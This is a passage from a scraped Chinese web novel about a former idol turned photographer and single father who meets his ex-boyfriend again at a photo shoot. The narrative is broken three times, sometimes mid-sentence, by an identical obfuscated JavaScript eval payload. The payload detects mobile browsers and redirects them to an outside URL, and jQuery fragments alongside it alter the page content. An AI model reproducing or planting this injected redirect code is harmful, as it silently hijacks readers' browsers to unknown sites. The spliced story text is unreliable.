;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498515|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 化妆师走也不是,留也不是。 她嗫喏的样子,让眼前的助理更加气盛起来,三四十岁的中年男人指着她嘴里说个不停。 眼看那根手指就要戳到女生肩膀上,下一刻,一道熟悉的温和嗓音在她身后响起来。 “你好。” 苏致秋走上前,不动声色地站在了化妆师前面,隔开了对方蛮横的手指。 他皱起眉,看着比自己矮了半头的助理,开口道:“是有什么事吗?” 助理打量了他一眼,摆摆手道:“你一个摄影师懂什么化妆,找你们能主事的来。” 苏致秋不为所动地看着他,重复了一遍,“我就是。” 助理愣了愣,又重新扫视了他一圈,似乎从周围工作人员的目光中揣摩出了点意思,态度软了一些,但依旧称得上趾高气昂。 “不识泰山了,”他对苏致秋笑了笑,恢复了面上风度翩翩的样模样,“贵姓?” 苏致秋淡淡道:“免贵姓苏。” 说着,他一手在背后挥了挥,示意化妆师离开。 女生对他投去感激的一眼,急忙低着头走开。 助理注意到她的动作,也没再搭理她,只一门心思地和苏致秋要说法。 “是这样的,苏老板,我们方星对上镜的要求比较高,那个小姑娘也不是我看不上她,实在是太年轻,一看就不入流……” 助理露出一个不愿多说的表情。 苏致秋明白了他的意思。 他见多了这个圈子里的表里不一和欺压新人,但还是微微蹙起眉,问:“是她哪里化错了吗?” 助理迟疑了几秒,才道:“我可没说,但是她经验太少了,我这也是未雨绸缪,你们这么大一个工作室,不会连个像样的化妆师都找不出来吧。” 苏致秋听出了他的意思,直接道:“您的意思是觉得工作室懈怠您和方先生了,是吗?” 试图耍大牌的助理被说中心思,当着这么多人的面,依旧端着架子,目光不善。 苏致秋也没什么多余的解释,只是扫视了一圈安静下来的工作室,重新看向助理的时候,缓缓开口。 “作为负责人,首先我先给您道个歉,化妆环节让您不舒服,是我统筹的问题,而不是化妆师的问题。其次,我也要和您,还有方先生说清楚,我们化妆师虽然是个新人,但也受过专业的培训,能进入这间工作室,说明她年纪虽轻,但有很出色的能力,绝不是您所说的不入流。所以,您有拍摄上的要求可以和我提,没必要这样指责我们的化妆师。” 助理的脸色慢慢变得难看,苏致秋却一点不怵他,笑话,五年前他可是大热男团的队长,遇到的事比这多多了。 他不再理会耍大牌的助理,看向方星,语气温和却不容轻视,“方先生,我们工作室很珍惜和您拍摄的机会,为了顺利进行,接下来我会重新为您找一位资深化妆师,并和您沟通,调整好后我们立刻开拍。” 助理看他这一身气势,不敢再说什么,扭头请示方星。 苏致秋也跟着看过去,却见方星不知何时坐了起来,打着游戏的手机也随手抛到一边,传来队友骂人的声音。 他却毫不在意,只专心地盯着苏致秋看个不停。 苏致秋被他那带着探究的目光看得心头一跳,面上却不显。 他刚要开口,方星就已经问道:“你姓苏?” 苏致秋没说话,只点点头。 方星的眉头拧得更紧了,忽然道:“有没有人说过,你和一个人的声音很像。” 方星不再懒散地摊在沙发上,直接站起身,他个子很高,站在苏致秋面前,竟比他还要高一点。 他打量了苏致秋两眼,又蹙眉,“长得倒是不像。” 苏致秋尽力不让自己用看神经病的眼神看着他,心下有些提防。 听到这句话,他微微松了口气,正欲开口,就听对方突然冲着自己的身后叫道:“凌哥!” “……” 苏致秋几乎用尽了自己这五年来培养的所有定力,才没有立刻扭过头去。 他站着没动。 方星继续聒噪地叫后面的人,“凌哥,你快过来听,苏老板的声音是不是有点耳熟?” 刹那间,苏致秋感觉自己的心随着这个久违的称呼高高提起,悬在半空久久不能落下。 说着,方星有点兴奋地推着他朝那边走,苏致秋没有防备,一下子被他推了个踉跄,正好跌倒在沙发上的一道人影面前。 见他摔倒,周围几个已经看傻的工作人员急忙过来扶他。 刚刚的那个化妆师离他最近,率先伸手搀住他,急切地问:“小苏哥,你没事吧?” 说着,她有些忿忿地偷偷扭头看了方星一眼,敢怒不敢言。 苏致秋却没看她,也没看方星,他轻轻推开女孩的手站起身,垂着头,望着眼前的沙发。 映入眼帘的是一双长腿,男人今天穿了条西裤,跷起腿时微微绷在腿上,愈发显得两条腿笔直修长。 他坐姿是一如既往的挺拔,一只手随意地搭在腿上,被黑色西裤衬得白皙而骨节分明,是一只明显养尊处优的手。 再往上,苏致秋就看不到了。 即使看不到对方的脸,也不妨碍他猜出对方的身份。 凌岁寒。 4. 第 4 章 这个名字浮上心间,让他嗓子里堵得慌,说不出一个字,甚至连呼吸都变得困难起来。 方星啧啧地说个不停,示意他道:“苏老板,你快说两句话。” 他一边扭头跟凌岁寒道:“声音真得可像了,不信你听听。” 感受到沙发上人影投来的视线,苏致秋头皮一紧。 随着时间一点一滴流逝,沙发上的人没出声。 苏致秋也感觉自己的心仿佛被人紧紧攥住的气球,越收越紧,气球会不会爆炸,全看那个人的心情。 “苏老板,苏老板!” 方星招呼他,眼睛亮晶晶地看着他,十分自来熟地道:“你干嘛呢,低头捡钱呢?” 苏致秋也意识到自己这样实在太反常,更容易惹人怀疑。 只是,无论他如何努力,也无法再拿起刚刚面对方星和他的助理时那不容置疑的架子。 他只能慢慢抬起头来,本是想让自己看起来自然一点,却不想,正好对上了一双正凝视他的眼眸。 那双眼睛,他太熟悉了,却又带着一点陌生。 有那么一瞬间,苏致秋恍惚了一下,几乎以为和自己对视的人是苏团团。 但他很快就清醒过来,意识到还是不一样的。 同样是一双潋滟荡漾的桃花眼,这双眼睛多了几分成熟,比稚嫩的苏团团更加漂亮,也更显锋利,对视久了,仿佛带着蛊惑人心的危险味道。 而最重要的是,每天早上一睁开眼就会揉着眼睛找爸爸的苏团团,永远不会用这样漠然疏离的眼神看他。 苏致秋被那双审视的眼眸刺了一下,大拇指在掌心几乎抠掉一层皮,这才终于强迫自己移开视线。 他整理好心情,以一种不易察觉的方式压低了一点声线,对凌岁寒客气道:“您好。” 凌岁寒没回应,只瞟了他一眼。 周围人却没什么异样的神色,凌少爷的脾气在圈子里也是出了名的。 方星还在叽叽咕咕地说着什么,苏致秋却全都听不见了,大脑习惯性地飞速运转着。 他也不确定凌岁寒到底有没有认出他。 要是认出来了,他得如何收场呢。 但……自己这五年变化这么大,而且看凌岁寒刚刚的眼神,应当还是没认出他吧。 耳边若有若无的风声一下子拉长,又慢慢逼近,最后只剩下身旁无数仪器轰隆隆的震动声。 在这样嘈杂的环境里,苏致秋竟然无比清晰地听清了男人的声音。 “你是眼瞎,还是耳聋?” 他的声线清凉,语气讥讽,飘进苏致秋耳中的时候,仿佛带着北城冬天无法抹去的寒意。 砰的一声。 苏致秋的心落了地,却说不清是松了口气,还是太过沉重。 方星被骂了也不死心,凑过去和凌岁寒又说了两句什么,一边说一边打量着苏致秋。 苏致秋悄悄抬起头看了一眼,正好看到凌岁寒不耐地蹙起眉,直白地骂道:“什么玩意你都搭讪?滚开化你的妆去。” 一句话骂了两个人。 方星:“……” 苏致秋:“……” 方星灰溜溜地站起身跑了,似乎在凌岁寒说了不像两个字后,就对苏致秋彻底失去了兴趣,也没搭理他。 周围的人不敢多看这边,再次紧锣密鼓地开始准备。 偌大的工作室里,只有他所在的这座沙发前拥有小小的平静。 苏致秋罚站一样站在沙发前,瞟了凌岁寒一眼,见他不知何时已经闭上了眼,眼底带着淡淡的青灰色,似乎有些疲倦了。 “小苏哥。” 身后传来小声的招呼声,苏致秋扭头望去,见是刚刚的化妆师小姑娘,像是有事找他。 他推开挡在前面的一排衣服,应了一声。 他今天来了之后一直在忙,竟然都没留意凌岁寒是什么时候在这的。 现在想想,或许是因为对方坐在了这排衣服后面,才遮住了他的视线。 苏致秋最后深深看了那张脸一眼,没有出声打扰他,转身离开了这个令他无处安放的安静角落。 凌少爷似乎自带某种生人勿近的气场,令所有和他不熟的人都鼓不起勇气靠近他。 从前在队里,只有他很少被不理智粉丝骚扰过,而总是看起来温温和和的苏致秋,是被骚扰最多的。 每到那时,凌岁寒总是一脸不爽地往他身边一站,那张唯我独尊的大少爷脸,一下子能吓跑不少人。 只是那时没想到,五年后,被凌岁寒隔绝在外的人成了他。 眼前浮现凌岁寒抱着孩子,走向他的妻子的一幕,又想起刚刚方星叫的那一声“哥”。 他不再是凌岁寒特殊的那个人,不再是被少年保护在身后的那个。 这次,那个不熟的,被拒之在外的人,是他。 他已经是个外人了。 五年来,这个事实第一次这样直白又赤/裸/裸地展现在他眼前。 一上午的拍摄进行得很快,经过这个小插曲之后,方星也总算配合起来,准时完成了拍摄任务。 苏致秋松了口气。 他不怕方星,谁曾经还不是个顶流了。 但他已经不是当年那个无事一身轻的苏致秋了,他现在是单身奶爸,要挣奶粉钱。 更何况还有一直辛苦帮他的温觉非,他不傻,知道方星背后一定有背景。 他得罪了方星是小,而温觉非得罪了方星背后的大佬才是大事。 像他这种没有退路的人,一定要能屈能伸,学会退让和低头。 这是他早在十四岁就明白的道理。 想到温觉非,苏致秋猛地记起什么,趁着一堆人收拾器材的功夫,转身出去给他打了个电话。 那边似乎在忙,挂断后给他回了几个字,“等会打给你。” 苏致秋便没再打,看工作室里忙得差不多了,方星和其他艺人也已经送走了,大家各自准备着手头的收尾工作。 至于凌岁寒…… 他本来还记着对方,可后来拍摄的时候手忙脚乱起来,就实在顾不上了。 想必也早就走了吧。 他便去了洗手间,进了一个隔间,苏致秋犹豫一下,还是打开手机的前置摄像头。 出现在摄像头里的,是一个戴着口罩的年轻男人。 他摘下自己的口罩和帽子,露出清晰的眉眼。 手机里的男人皮肤白皙,长相并不比刚刚的方星差,只是…… 苏致秋拿出自己随身携带的身份证比照了一下。 自从怀了苏团团后,他似乎就很少照镜子了。 一方面是那时候他还无法面对大着肚子的自己,一方面是他的确变了。 长得和以前不太一样了,准确的说,他比从前……漂亮了。 他以前是个很阳光俊朗的长相,走的路线就是邻家哥哥风格,再加上性格原因,确实有很多女孩子是他的妹妹粉。 但现在,苏致秋看着手机里的自己,眉眼还是那个眉眼,鼻子还是那个鼻子,但就是说不清哪里变了。 苏致秋自己分析着,可能是和怀苏团团有关系,体内分泌了某种说不清的激素,才让他面容都变了一些。 当初这个变化,给了苏致秋不小的打击。 肚子里突然多出来的崽,前途未卜的未来……再加上连相貌都变了的脸。 对尚且年少的他来说,简直是雪上加霜。 记得那时候还是个高中生的苏致枫安慰他,想了半天,终于憋出一句,“哥,你没有变丑,你只是变得更坚强,更有母性的光辉了。” “……” 苏致秋当时刚生完团团不久,被他这个仿佛“坚强的单身妈妈”一般的形容弄得脚趾抠地,有气无力地让他一边玩去。 但现在仔细看看,苏致秋蓦然发觉,苏致枫用上毕生功力憋出来的话,竟然很贴切。 如果说五年前的他是秋日骄阳,那么现在的他,就好比北城冬日的暖阳,浅淡却又不失温情。 硬要形容的话,苏致秋记得自己还是爱豆的时候,有种粉丝非常盛行。 叫泥塑粉。 苏致秋十分怀疑,倘若自己现在穿越回爱豆时代,他的泥塑粉会超越“队内第一甜妹”温觉非成为队里最多的。 所以,变化这么大,他自己都用了很长时间才慢慢接受,凌岁寒认不出他来,也很正常吧。 苏致秋放下手机,静静地想。 他戴着帽子,还戴着口罩,在这座大厦待了一周多,从未被人发现过。 说不定走在路上团团都认不出他来呢。 更何况,五年了,人都是会变的。 相貌会变,性格会变,记忆也会变得越来越模糊。 凌岁寒是无辜的。 其实只是他自己跟自己闹别扭。 苏致秋在心底吐槽了自己两句,打开手机看了看团团幼儿园群里发的照片。 团团现在上的幼儿园是一家私立幼儿园,也是苏致秋费了大力气才塞进去的。 一开始本想让他去公立的,但一方面户口是个问题,另一方面公立幼儿园的餐饮、游戏等设施都不是很完善。 苏致秋用了两天时间看了近十家幼儿园,又托了温觉非帮他打听了一圈,才总算定下了这家。 缺点就是费用非常高昂,基本是他半个月工资了,但为了团团,苏致秋向来舍得。 照片里的团团手里拿着几个面团揉捏得很认真,连粉嘟嘟的脸蛋沾上了面粉都没意识到,小脸都因为用力皱成一团。 下一段视频里,团团似乎终于完成了面人的制作,开心地举起手中的小兔子在镜头前展示,奶声奶气地道:“爸爸!我捏了一个你呀,超可爱哒!” 视频结束了,镜头定格在苏团团那双黑葡萄般晶莹剔透的眼睛上。 苏致秋把进度条拉回去,把团团说的那句话反复听了好几遍,这才保存了视频。 门外传来脚步声,苏致秋收起手机,重新给自己戴上口罩。 他摸了摸上扬的嘴角,整颗心都轻盈了许多,刚刚冒出来的那点自卑、阴暗的坏情绪,都被苏团团治愈了。 苏致秋神采飞扬地走出洗手间,刚要回工作室,温觉非的电话就打了回来。 走廊上人来人往,很多工作室的人说着话与他擦肩而过。 苏致秋一边接通电话,一边快速朝走廊尽头的防火门走过去。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498516|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得那道门后面是办公楼的楼梯通道,很少有人会走那里,清净。 “喂,苏苏,”温觉非的声音从耳边的手机传来,“怎么了?” 苏致秋拉开防火门,叹了口气,道:“我今上午好像给你惹事了。” 他断断续续地说着,一边晃晃悠悠地下了两级台阶,靠着扶手。 “是不是方星找事了?”温觉非啧了一声,道:“没事,他就是那样,我听说他妈……” 阳光洒到地面,留下一地光影。 电话那头还在吐槽,苏致秋却什么都听不到了。 望着前方那道人影,苏致秋几乎是下意识地抬手摸了摸自己的口罩,直到确认口罩还完好地戴在脸上,这才松了口气。 他发出这么大的动静,窗边的人却好似什么都没听到似得。 窗外的天是北城冬天少有的澄澈,湛蓝湛蓝的天空下,几根枯枝探到楼道半开的窗边,衬得那道背影莫名多了几分忧郁与寂寞。 苏致秋觉得自己大约是瞎了,或者是从前的往事作祟,居然会觉得凌岁寒寂寞。 无论是众星捧月的巨星,还是作为凌家的小少爷,凌岁寒似乎都与寂寞这个词扯不上关系。 白花花的冬日阳光照在他的脸上,灿烂至极。 苏致秋就这样傻愣愣地看了几秒,直到耳边传来温觉非喂喂喂的声音,他才终于回过神。 趁着窗边人还没有回头的意思,苏致秋捂住听筒,小心翼翼地踮起脚悄悄走上楼梯。 偏偏在上最后一级台阶时,温觉非一声中期十足的“喂”响起在耳边。 全神贯注的苏致秋被吓了一跳,被楼梯绊了一跤,刚刚被方星推倒时擦伤的手心,再次重重地在水泥地上擦了一下,渗出淡淡的血迹。 他极力咬住下唇,这才没让那道痛苦的呻/吟溢出口。 与此同时,窗边人似乎终于被他烦得受不了了,苏致秋只听那人不爽地啧了一声,一道视线朝上看过来。 苏致秋:“……” 他一把挂断电话,拍了拍沾满尘土和砂砾的手掌,站起身像是逃命一般朝防火门走去。 然而,下面的人却比他更快。 “站住。” 淡淡一声,如果不仔细听,甚至都听不清楚。 苏致秋原本坚定的脚步,却被这极低的一声叫停了。 他站在灰色的防火门前,手已经放在了门把手上,只要稍稍朝下一用力,就能轻松拉开这道门离开。 逃离这个楼道,逃离身后的前男友,逃离他儿子真正的……“妈妈”。 身后人叫了他一声后,就没了动静。 苏致秋知道凌岁寒并没有认出自己,他只是看自己眼熟,想要让自己帮忙跑个腿或是干点什么事…… 可是他就是不知道为什么,不敢转过身,不敢开口,甚至不敢出现在他面前。 苏致秋没吭声,只假作什么都没听到。 压在门把上的手微微用力,沉重的防火门发出吱呀一声,开了一条缝。 身后人依旧没反应,仿佛没了再搭理他这个哑巴的兴致。 他松了口气,又有些好笑自己刚刚的自作多情。 仅仅将门拉开一个能容他侧身通过的缝,苏致秋就迈出一条腿,想以一个最不引人注意的方式悄悄离开这里。 下一秒,身后的楼梯间传来一道威胁的声音。 “苏致秋。” “敢出这个门,你就死定了。” 那道声音压得极低,却饱含着不容小觑的冷漠与戾气。 砰一声响。 随着防火门响起的,还有苏致秋终于忍不住的痛呼声。 他以一个腿在外,一个腿在内的尴尬姿势,被厚重的防火门夹在了中间,非常尴尬。 而他今天异常倒霉的左手,再次被门框蹭了一下,剐去了一层皮。 即使是这样,苏致秋依旧很快就忽略了这个手,他深吸了一口气,慢慢收回腿,合上了防火门。 然后,慢慢地转过头,看向刚刚开口的那个人。 北城风沙大,或许是被吹进窗的沙粒迷了眼,凌岁寒眯着眼,眼角有些红。 见他终于看过来,凌岁寒舔了下唇,用力掐灭了手中燃了半截的烟头。 阳光下的男人唇红齿白,好看极了,实在不像是会说出刚刚那句满是戾气与威胁的话的人。 可苏致秋知道,就是他。 是凌岁寒的声音,他一辈子都忘不了。 说完那两句话后,凌岁寒又不吭声了,只扬起头,静静地看着他。 苏致秋叹了口气,见对方已经这么笃定地喊出自己的名字,心知躲不过去了。 故人重逢,总要打个招呼的。 他率先走下楼梯,一步一步慢慢地走到了那个人身前。 直到一步之遥。 这是每个成年人都懂得的,一个礼貌又不失疏离的社交距离。 苏致秋站定,望着眼前这个穿梭了五年的光阴,重新出现在他面前的人,抬起手,露出一个恰到好处的笑。 “好久不见,凌岁寒。” 时隔五年,说出口的三个字却依旧流利自然,好似曾被人在心底反复叙说数万遍一般。 5. 第 5 章 “……” 他礼貌的招呼,理所当然地没有得到任何回应。 轻风带着寒意从窗外吹过,苏致秋轻咳一声,多年的历练让他自然地收回手,面上看不出一丝窘迫。 就在即将把手放回口袋里的那一刻,眼前的男人却仿佛才意识到一样,伸出手来一把握住了他。 准确的说,是一把将他的手从口袋中扯了出来。 苏致秋一怔,没有和他争,顺着他的力气拿出手来。 两只手在半空中相会,交握。 掌心贴到另一道温热的手掌那一刻,苏致秋一颤,浑身仿佛过了电一般,从掌心到心口流过一道电流。 让他全身都发出不易察觉的颤栗。 他下意识想要抽回手来。 刚刚那个对他伸出的手毫无反应的男人,此刻却不知道像是中了什么魔咒,没有丝毫松手的意思。 苏致秋微微用力,然而,对面的人力气却比他更大。 像是察觉到他的意图,那只手的力气愈发大起来,已经不是握手,而是紧紧攥着他。 力气大到凌岁寒自己的手骨节处都泛起青白,也让苏致秋的手发出不堪重负的嘎吱声。 苏致秋也不知道凌岁寒是想捏痛自己的手,还是在自虐。 他垂眸看过去,这样近距离的接触,让他能无比清晰又真实地感觉出对方手的温度。 相握的两只手,一只手修长而白皙,一只手同样修长,却显出藏不住的粗糙。 他能感觉到自己干燥粗糙的掌心正在摩擦凌岁寒的掌心,那道掌心与他的极为不同。 那只手白皙又细腻,只看修剪的圆润干净的指甲,都能感受出对方的矜贵。 两只手放在一起,莫名有些刺眼。 苏致秋心头一跳,说不出是什么心思,他拼命朝后一抽手,连一直放在口袋里的左手都拿出来帮忙使劲。 凌岁寒一个措手不及,被迫感受到掌心的空荡。 他正欲说什么,目光在苏致秋匆忙放回口袋的左手扫过,闭上了嘴。 苏致秋没有留意他蹙起的眉心,只一心偷偷瞄了一眼凌岁寒的手。 还好。 他过于粗糙的掌心没有给那只完美得好似漫画画出来的手,留下什么令人不愉快的痕迹。 他微微松了口气。 这样的神态,落入对面那人的眼中,却仿佛令他误会了什么。 苏致秋眼看着凌岁寒那双漂亮的桃花眼慢慢眯起,眼中的乌黑散发出危险的味道。 “呵。” 凌岁寒忽得发出一声意味不明的哼笑。 苏致秋被他笑得浑身汗毛竖起,抬眸看了他一眼。 随后,苏致秋又有点郁闷地低下头去。 五年不见,他还是原来的身高,而这个人,也不知道是不是营养太好,竟然又长个了。 原本两人相差无几的个头,现在自己才到对方的眼睛,莫名气势就比人家矮了几分。 他正胡思乱想地比身高,凌岁寒靠在开了一半的窗上,忽然凉凉地开了口。 “小苏哥。” 苏致秋:“……” 面对这个极其陌生的称呼,他没说话。 凌岁寒以前叫过他无数称呼,却很少叫他哥。 这个恶劣的人,只会偶尔在床上最得意的时候,埋在他耳边,故意低声叫他“哥哥,你真好看”。 可这样礼貌的“小苏哥”和哥哥是不一样的。 他有点不习惯,一时不知该如何反应。 见他不吭声,凌岁寒又叫了一声,“小苏哥。” 他的嗓音清凉好听,可那莫名其妙的怪异语调却破坏了他的音色,听到人耳朵里别扭极了。 苏致秋总感觉他这声小苏哥,带着一点说不出的……阴阳怪气? 苏致秋眨眨眼,觉得应当是自己产生的错觉。 大少爷么,说话都这样让人捉摸不透。 苏致秋不愿再像以前一样揣测他,应了一声,“怎么了?” 对面人却又不说话了,只有脸色依旧是那样的冷淡。 两个人都不开口,偌大的楼梯间一下子就安静下来,空气中弥漫着淡淡的尴尬。 苏致秋看着凌岁寒手里还夹着的半截烟头,后知后觉。 “什么时候开始抽烟了?” 本是想缓和气氛的话一出口,苏致秋猛地意识到,这是个错误的话题。 果然。 凌岁寒侧过头看了他一眼,眯起的眼中带着淡淡的审视。 “你确定让我回答吗?” 他说。 其实不用的。 因为早在看到他的那一刻,苏致秋就已经自己找到了答案。 看他这副样子,凌岁寒开了口,带着嘲讽,“既然不是真心想问,就请苏老板收起这些虚情假意,别让我恶心。” 虚情假意四个字被他刻意加了重音,格外刺耳。 称呼也被他换成了工作关系的苏老板。 两人面上一直勉强维持的平和被他毫不留情地扯破,变得岌岌可危。 “……” 苏致秋嘴唇动了动,想解释什么,终究只是徒劳,没能发出一个音节。 良久的沉默后,两人同时别过头去,避开了对面人的目光。 晌午的阳光是白灿灿的,照得人眼前发花、发晕。 在这样的阳光里,他忽然听到对面人说:“小苏哥总感觉很别扭,还是接着叫你苏队长吧。” 这个称呼显然给他带来的冲击更大,苏致秋感觉自己的脸白了一分。 “苏队长威风不减当年啊,对下面的人还是这么好。” 凌岁寒对他一笑,有几分夸张地说:“就是不知道,这么善良温柔的苏队长,为什么自己的前队友去世,都没回来看一眼呢?不是标榜那是自己最疼爱的弟弟吗。” 听到他的最后一句话,苏致秋的唇瓣剧烈地颤了颤,想说什么,又没说出口。 “算了,”凌岁寒啧了一声,“看我这记性,苏队长都退团五年了,连前男友都能毫不犹豫抛弃的人,能是什么好东西呢。” 苏致秋晃了晃身子,像是被什么东西刺伤了。 凌岁寒已经重新转过身去,望着窗外的灿烂冬光,没有理他,像是已经不想看见他了。 苏致秋却不愿时隔五年的第一次交流,以这么尴尬的结尾告终。 他唔了一声,绞尽脑汁后,总算又找到一个不那么尖锐的话题。 “我那天开车路过龙恒,看到你的广告了,一个人包揽那么大的屏幕,还是5D的呢,我儿……咳,我觉得特酷。” 苏致秋差点嘴一快把我儿子三个字说出来,吓得他浑身汗毛倒竖,差点咬到舌头。 好在,凌岁寒没有注意到他这个含糊。 苏致秋放下心,一开始只是找话题,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498517|202616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着说着,忍不住由衷替他高兴起来,“真厉害啊,恭喜你!” 凌岁寒终于将头扭回来,看着他。 苏致秋戴着口罩,怕凌岁寒又误会自己是在客套,笑得眼睛都眯了起来,笑成了弯弯一轮月。 凌岁寒盯着他看了半天,脸上却没有浮现一丝笑意,眼中愈发黑漆漆一片。 苏致秋自己笑了半天,笑得脸都累了,也慢慢放平嘴角。 见凌岁寒似乎没心情搭理自己的祝贺,他也自讨没趣,看看防火门的方向,想要找借口离开。 凌岁寒却又开了口,“看苏老板刚刚在工作室叱咤风云的样子,多威风,也会佩服我吗?” 话音里带着嘲讽。 苏致秋下意识啊了一声,“什么?” 他反应过来后,无语地笑了起来,嗔道:“那不是要护着我手下的人吗,我明明是真心恭喜你,你倒开起我的玩笑来了。” 话出口,苏致秋又感觉自己这句话似乎有点太亲昵了。 可惜,也收不回来了。 果然,见他带笑的眼神,凌岁寒浑身的气势似乎愈发冰冷,背过身去不再理睬他。 苏致秋又自己说了几句,见人依旧背对着他,不发一言。 被忽视的次数多了,他就是再能容忍,在前任面前也有点挂不住面子了,客气道:“那我就先回去了,还有工作要忙。” 说着,他走上了两级台阶,想到什么,又多嘴嘱咐道:“你也走吧,这个楼梯间不安全,别被拍到了。” 人影晃了晃,扭过头直视着他,竟然淡淡地回答了他,“谢谢。” 苏致秋悻悻地摸摸鼻子,不知道为什么,这客气的两个字,比一言不发更让他难受。 “那……” 苏致秋唇瓣动了动,想再说声再见,又觉得有点啰嗦,不像个潇洒的哥哥。 好歹比人家大了近两岁,苏致秋想让自己看起来成熟一点。 他笑了笑,收回口中的告别,快步登上楼梯,很快消失在了防火门后。 关上门的那一刻,他犹豫着想回头看那道身影一眼。 但他忍住了。 这次,直到他走回工作室,凌岁寒都没有再说一句类似“苏致秋你死定了”的话。 事实上,从两人重逢的那一刻起,凌岁寒大部分时间里都是如出一辙的冷冰冰,只有在他要离开的时候,冒出了两句那样愤恨又狠戾的话。 苏致秋坐回自己的座位上,若有所思地举起右手到眼前看了看。 食指和虎口的位置还泛着红,足以看出对面人当时用了多大的力气握他的手。 他这几年被生活磨得皮糙肉厚的手都红成这样,凌岁寒的手得多疼啊。 “小苏哥。” “小苏哥。” 陌生的声线与熟悉的称呼叠合,苏致秋甩甩头,一个激灵回过神来。 他抬起头,正对上一个女孩的脸。 苏致秋大脑有点迟钝地反应了一下,才意识到这是今上午那个化妆师小姑娘。 小姑娘不大,看起来比他还要小个三四岁,也就二十出头的年纪。 见女孩一脸认真又不好意思的模样,苏致秋笑了笑,温和地问:“怎么了?” 话音落下,他自己的笑先僵在嘴角。 这个对话……竟是莫名与在楼梯间时和凌岁寒的对话对上了。 难不成凌岁寒是在学这个小姑娘? 6. 第 6 章 这个念头冒出来,苏致秋自己都觉得有些荒谬。 整个工作室一共五个人,除了另一位摄影师比他大之外,其他人都叫他小苏哥。 只是一个称呼罢了,没什么特别的。 小姑娘舔舔嘴唇,像是纠结了片刻,才终于做好心理准备地从身后拿出一袋子东西。 苏致秋垂眸一看,塑料袋不大,里面装着一些碘伏、棉签之类的药品,还有两瓶水。 “我刚刚去楼下便利店买的,”小姑娘有点紧张地看着他,解释道:“我看您那会手在地上擦破了,又一直没处理。” “地上那么多土,碰到伤口会感染的。” 说着,女孩替他拆开袋子,道:“先消消毒吧。” 苏致秋带着感激地抬头笑道:“谢谢。” 他问:“多少钱,我转给你吧。” 女孩却连连摆手,后退两步道:“不用了不用了,今上午谢谢您帮我解围。” 苏致秋只是摇摇头,轻轻一笑,道:“没什么,那我就……笑纳了。” 他扬了扬手中的袋子。 女孩的脸似乎有点红,低着头小声道:“好,好的。” 顿了顿,女孩却依旧没有离开的意思,她小心翼翼地看了一眼苏致秋的手,低声问:“您一只手方便吗?要不我替您擦一下药吧。” 苏致枫下意识摆摆手,拒绝道:“不用了,我自己来吧。” 女孩像是有点失望,但又点点头。 见她要走,苏致秋想起这一周观察下来,这个女孩化妆技术是没问题的,温觉非又不是傻子,会招个技术不过关的人进来。 但她性格的确是不太适合这个圈子,太内向腼腆,又很敏感,在每天都充斥着各种明争暗斗的娱乐圈,是很吃亏的。 扫视了一圈工作室,还有不少人在忙。 他没叫住女孩直接说话,而是放下碘伏,拿出手机,思虑了片刻,给女孩发了条信息。 没什么特别的,只是两句安慰和鼓励的话。 想了想,觉得有点太生硬太凶,苏致秋又按照现在小孩们的习惯,加上了一个表情包。 “【加油】” 发完后,他扫了女孩的位置一眼。 女生打开手机,看了一眼,身形一震,很快手指就在屏幕上一阵噼里啪啦,很快给苏致秋发来五六条消息和表情包。 苏致秋看了一眼,笑了笑,没有再回复。 他拿出一根棉签,想要拧开碘伏擦一擦,这一拧,却犯了难。 他的左手经过刚刚那次重创,接连两次受伤后,已经彻底不能动作了。 可只用右手去拧,根本打不开。 苏致秋环视了一圈,大家都在忙,他瞟了化妆师小姑娘一眼,却没有叫她。 他独自尝试着用腿,又桌上的其他工具,都没有能打开那瓶未开封的碘伏。 苏致秋有点累了,把手里的小美工刀丢到一边,正犹豫着要不就先这样,反正没破多大口子,只是破了皮,应该没问题。 美工刀扎破桌上的一张纸,露出后面的一个蓝色的东西。 不太眼熟。 苏致秋随手拿过来一看,却是愣住了。 是一盒抽拉装的药用消毒棉球,下面还放着一包纱布。 不同于化妆师小姑娘给他买的创可贴,有那么多可爱的小图案,无论棉球还是纱布,都只是最普通的那种医用防水装。 只是……他什么时候买的? 苏致秋知道自己自从生了团团后,事情变多,的确是容易忘事,但也不至于连自己买过棉球和创可贴都忘了。 他环视了一圈工作室,各自看着自己的电脑,或是整理着仪器,没有人认领。 再说了,大家都在一个区域办公,看到化妆师给他买了,应当就不会再浪费了。 苏致秋有点疑惑。 这是他今天第一次回自己的办公桌,整个上午都一直在拍摄区忙,所以还真没注意到。 他能看出买这两样物品的人,真的很细心。 对方甚至考虑到了他一只手不方便打开瓶子,考虑到了他的伤口面积大贴不了创可贴,考虑到了要防水…… 他身边这么细心的人不多。 